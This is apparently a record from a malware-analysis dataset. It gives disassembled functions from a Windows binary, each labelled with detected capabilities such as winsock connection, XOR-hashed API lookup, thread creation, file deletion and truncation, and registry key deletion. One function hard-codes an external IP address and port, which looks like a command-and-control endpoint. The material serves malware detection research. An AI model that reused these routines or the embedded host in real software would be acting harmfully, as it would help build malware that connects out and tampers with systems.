joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000b2a0
Capabilities:
Convert ip address from string
Initialize winsock library

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x200
mov rax, qword [0x1400420c0]
xor rax, rsp
mov qword [rsp + 0x1f0], rax
mov rbx, rcx
mov qword [rsp + 0x40], rcx
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rdi
mov qword [rcx + 0x18], rdi
lea r8d, [rdi + 0xe]
lea rdx, str.185.223.30.156
call fcn.1400029d0
nop
mov dword [rbx + 0x20], 0xd2f0
xorps xmm0, xmm0
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
mov qword [rbx + 0x60], rdi
mov ecx, 0x202
lea rdx, [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14000b374
xor r8d, r8d
lea edx, [rdi + 1]
mov esi, 2
mov ecx, esi
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbx + 0x28], rax
cmp rax, 0xffffffffffffffff
je 0x14000b36d
mov word [rbx + 0x30], si
movzx ecx, word [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbx + 0x32], ax
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14000b353
mov rdx, qword [rbx]
lea r8, [rbx + 0x34]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jg 0x14000b39c
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov rax, rbx
mov rcx, qword [rsp + 0x1f0]
xor rcx, rsp
call fcn.14000f210
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov ecx, reloc.WS2_32.dll_recv
call fcn.14000f230
mov qword [rax], rbx
lea rcx, [0x14000b490]
mov qword [rax + 8], rcx
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x14000d780]
xor edx, edx
xor ecx, ecx
call fcn.140018bbc
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14000b45e
cmp dword [rbx + 0x48], 0
jne 0x14000b458
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmmword [rbx + 0x40], xmm1
mov ecx, reloc.WS2_32.dll_recv
call fcn.14000f230
mov qword [rax], rbx
lea rcx, [0x14000b750]
mov qword [rax + 8], rcx
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x14000d780]
xor edx, edx
xor ecx, ecx
call fcn.140018bbc
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14000b473
cmp dword [rbx + 0x58], 0
jne 0x14000b46d
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rbx + 0x50], xmm1
jmp 0x14000b374
call fcn.140018ca4
nop
mov dword [rsp + 0x38], edi
mov ecx, 6
call fcn.14000eb9c
nop
call fcn.140018ca4
nop
mov dword [rsp + 0x38], edi
mov ecx, 6
call fcn.14000eb9c
int3
Function at 0x14000d7d0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
mov qword [rsp + 8], rcx
push rdi
push r12
push r13
push r14
push r15
mov rbx, qword [0x1400451f0]
mov rbp, r8
xor r12d, r12d
xor r14d, r14d
mov r13d, edx
mov r10, qword [rbx]
mov rdi, qword [rbx + 0x18]
mov r8, qword [rbx + 8]
mov r11d, dword [r10 + 0x20]
mov ecx, dword [rdi + 0xc]
mov r9d, dword [rdi + 0x14]
sub r11, rcx
mov eax, dword [r10 + 0x1c]
add r11, r9
sub rax, rcx
add rax, r9
lea r15, [r11 + r8]
cmp dword [r10 + 0x18], r12d
jbe 0x14000d930
sub rax, r11
mov qword [rsp + 0x38], rsi
add rax, 4
mov qword [rsp + 0x30], rax
mov edx, dword [rax + r15]
mov rcx, qword [rbx + 0x10]
mov r10d, dword [r15]
mov eax, dword [rcx + 0xc]
mov esi, dword [rcx + 0x14]
sub rdx, rax
mov ecx, dword [rdi + 0x14]
lea rax, [r8 + rdx]
add rsi, rax
mov eax, dword [rdi + 0xc]
sub rcx, rax
lea rax, [r8 + rcx]
add r10, rax
mov rax, 0xffffffffffffffff
xor r11d, r11d
inc rax
cmp byte [r10 + rax], r11b
jne 0x14000d875
add rax, r10
cmp r10, rax
je 0x14000d8d0
nop word [rax + rax]
movzx r9d, byte [r10]
movzx ecx, r9b
or cl, 0x20
movzx edx, cl
lea r8d, [r9 - 0x41]
cmp r8b, 0x19
cmova edx, r9d
inc r10
movsx ecx, dl
add ecx, r11d
imul r11d, ecx, 0x401
mov ecx, r11d
shr ecx, 6
xor r11d, ecx
cmp r10, rax
jne 0x14000d890
mov rdi, qword [rbx + 0x18]
mov r8, qword [rbx + 8]
lea ecx, [r11 + r11*8]
mov eax, ecx
shr eax, 0xb
xor eax, ecx
imul eax, eax, 0x8001
cmp eax, r13d
jne 0x14000d910
movups xmm0, xmmword [rsi]
mov r12d, 1
movups xmmword [rbp], xmm0
mov eax, dword [rsi + 0x10]
mov dword [rbp + 0x10], eax
movzx eax, word [rsi + 0x14]
mov word [rbp + 0x14], ax
movzx eax, byte [rsi + 0x16]
mov byte [rbp + 0x16], al
mov rdi, qword [rbx + 0x18]
mov r8, qword [rbx + 8]
mov rcx, qword [rbx]
inc r14
mov rax, qword [rsp + 0x30]
add r15, 4
mov edx, dword [rcx + 0x18]
cmp r14, rdx
jb 0x14000d840
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov eax, r12d
mov rbp, qword [rsp + 0x48]
pop r15
pop r14
pop r13
pop r12
pop rdi
ret

Function at 0x14000fe98
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000fee2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000fee2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000fee2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000fee2
cmp dword [rcx + 0x84], 0xe
jbe 0x14000fee2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000fee4
xor al, al
add rsp, 0x28
ret
Function at 0x140018bbc
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x140018bf3
call fcn.140016088
mov dword [rax], socket
call fcn.140015f1c
xor eax, eax
jmp 0x140018c81
mov rdx, r9
mov rcx, r8
call fcn.140018b58
mov rbx, rax
test rax, rax
je 0x140018c7e
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x140018a84]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x140018c6b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140015ffc
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x140018c52
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x140018c61
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.14001d9c0
jmp 0x140018c7e
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140018c7b
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x14001a608
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001a404

Function at 0x14001e904
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001e91a
mov al, 1
jmp 0x14001e97a
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001e92b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001e978
mov ecx, dword [rcx + 0x18]
nop
call fcn.14002674c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001e978
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001e978
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001e978
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001e97a
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140021120
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14000f860
sub rsp, rax
mov rax, qword [0x1400420c0]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14001e7e4
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14002116f
mov rax, rbp
jmp 0x140021277
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x44a90]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14002206c
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x44a90]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140021273
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140021273
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14002206c
test rax, rax
js 0x140021273
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140021273
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140021265
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140021265
cmp byte [rcx], 0xd
jne 0x14002124b
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14002125a
cmp byte [rcx + 1], 0xa
jne 0x14002125a
inc rcx
jmp 0x14002125a
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x424f0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x14002122d
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140021277
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14000f210
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14002140c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140044a90]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140021463
cmp word [rdx], r13w
jne 0x140021463
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140021468
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14002158d
mov r11d, recv
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1400215ae
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1400214a1
mov rdx, r9
mov word [rbx], cx
jmp 0x1400214c8
cmp r9, r8
jae 0x1400214d8
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140021482
jmp 0x14002158d
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140021582
cmp dword [rsp + 0x80], esi
je 0x140021582
lea r8, [0x140044a90]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14002155a
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14002152a
mov word [rbx], r13w
jmp 0x14002158a
mov ecx, recv
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x140021537
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14002158a
cmp word [rsp + 0x70], r13w
jne 0x140021567
cmp rbx, r14
je 0x140021524
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140022074
cmp word [rsp + 0x70], r13w
je 0x14002158d
mov ecx, recv
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140044a90]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x140021587
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14002158d
Function at 0x140022278
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140022298
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140015ffc
or eax, 0xffffffff
jmp 0x14002229a
xor eax, eax
add rsp, 0x28
ret
Function at 0x140025a38
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140025a68
xor eax, eax
jmp 0x140025b2b
mov rbp, rbx
cmp word [rax], si
je 0x140025a8d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140025a74
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140025a70
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140024150
movsxd r14, eax
test eax, eax
jne 0x140025acb
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140025a61
mov rcx, r14
call fcn.140022188
mov rdi, rax
test rax, rax
jne 0x140025ae4
xor ecx, ecx
call fcn.14001d9c0
jmp 0x140025ac0
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140024150
test eax, eax
jne 0x140025b15
mov rcx, rdi
call fcn.14001d9c0
jmp 0x140025b1f
xor ecx, ecx
call fcn.14001d9c0
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x140028ca0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14001d414
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x140028d41
cmp ebx, dword [rsp + 0x30]
je 0x140028d3a
test esi, esi
je 0x140028d3a
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140028d15
sub r8w, 0x61
cmp r8w, 0x19
ja 0x140028d22
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x140028cff
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x140028d26
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x140028d43
mov eax, 1
jmp 0x140028d43
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14002b8ac
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140018e4c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14002b936
cmp byte [rbp - 0x21], r15b
je 0x14002b931
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14002b96c
call fcn.1400203f0
test eax, eax
jne 0x14002b958
cmp byte [rbp - 0x21], r15b
je 0x14002b950
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14002b96c
cmp byte [rbp - 0x21], r15b
je 0x14002b969
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140018cd0
test eax, eax
jne 0x14002ba0c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140018e4c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14002b9ab
cmp byte [rbp - 0x21], r15b
je 0x14002b9e0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14002b9e0
call fcn.1400203f0
test eax, eax
jne 0x14002b9cc
cmp byte [rbp - 0x21], r15b
je 0x14002b9c5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14002b9e0
cmp byte [rbp - 0x21], r15b
je 0x14002b9dd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140018cd0
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14002ba0c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14002ba0f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14002ba1d
mov rcx, rdi
call fcn.14001d9c0
cmp byte [rbp + 0x3f], r15b
je 0x14002ba2c
mov rcx, qword [rbp + 0x27]
call fcn.14001d9c0
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14002c488
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140022074
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140022074
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14002c5d8
cmp rax, 0xffffffffffffffff
je 0x14002c5d8
xor edi, edi
test rbp, rbp
jle 0x14002c583
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140020058
mov rbx, rax
test rax, rax
jne 0x14002c510
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14002c579
mov edx, 0x8000
mov ecx, r14d
call fcn.14001b4b8
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001f7a0
cmp eax, 0xffffffff
je 0x14002c559
cdqe
sub rbp, rax
test rbp, rbp
jg 0x14002c520
mov edx, r15d
mov ecx, r14d
call fcn.14001b4b8
jmp 0x14002c579
cmp byte [rsi + 0x38], dil
je 0x14002c570
cmp dword [rsi + 0x34], 5
jne 0x14002c570
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], send
cmp byte [rsi + 0x30], dil
je 0x14002c579
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001d9c0
jmp 0x14002c5ec
jns 0x14002c5ec
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140022074
cmp rax, 0xffffffffffffffff
jne 0x14002c5a4
cmp byte [rsi + 0x30], dil
je 0x14002c5ec
mov edi, dword [rsi + 0x2c]
jmp 0x14002c5ec
mov ecx, r14d
call fcn.14002674c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14002c5ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, recv
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], send
jmp 0x14002c5ec
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x14002c5e5
mov eax, dword [rsi + 0x2c]
jmp 0x14002c5ea
mov eax, socket
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140022074
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14002d0a0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002d0c8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002d0c8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140780fc0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov rax, qword [0x14084f1c0]
xor rax, rsp
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.HARDWARERESOURCEMAPSystem_ResourcesPhysical_Memory
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x88]
xor r8d, r8d
lea rdx, str..Translated
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [rsp + 0x78]
mov ecx, eax
call fcn.140813500
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x88]
xor r8d, r8d
lea rdx, str..Translated
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x10]
mov dword [rsp + 0x48], eax
mov rax, qword [rsp + 0x38]
add rax, 0x18
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x30], 0
jmp 0x1407810b7
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x48]
cmp dword [rsp + 0x30], eax
jae 0x1407810f3
mov rax, qword [rsp + 0x40]
add rax, 8
mov r9, rax
mov r8, qword [rsp + 0x40]
lea rdx, [rsp + 0x68]
lea rcx, [0x140853148]
call fcn.140788c40
mov rax, qword [rsp + 0x40]
add rax, 0x14
mov qword [rsp + 0x40], rax
jmp 0x1407810ad
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
call fcn.1408134f8
cmp qword [rsp + 0x50], 0
jne 0x14078111a
mov qword [rsp + 0x60], 0
jmp 0x14078112d
mov qword [rsp + 0x38], 0x8123
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.1408139e0
add rsp, 0xa8
ret
Function at 0x1407824c0
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [0x14084f1c0]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov eax, 4
mov eax, eax
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx]
mov eax, dword [rax + rcx]
cmp dword [0x1408530b4], eax
jle 0x140782537
lea rcx, [0x1408530b4]
call fcn.1408137f0
cmp dword [0x1408530b4], 0xffffffff
jne 0x140782537
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [0x1408530c0]
call fcn.140785ae0
lea rcx, [0x140816a20]
call fcn.140813730
nop
lea rcx, [0x1408530b4]
call fcn.140813784
lea rcx, [0x1408530c0]
call fcn.140785770
lea r8, [rsp + 0x38]
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [rsp + 0x24], eax
mov rcx, qword [rsp + 0x60]
call fcn.140785770
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x1407825a2
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x1407825a2
mov dword [rsp + 0x20], 1
jmp 0x1407825aa
mov dword [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1408139e0
add rsp, 0x58
ret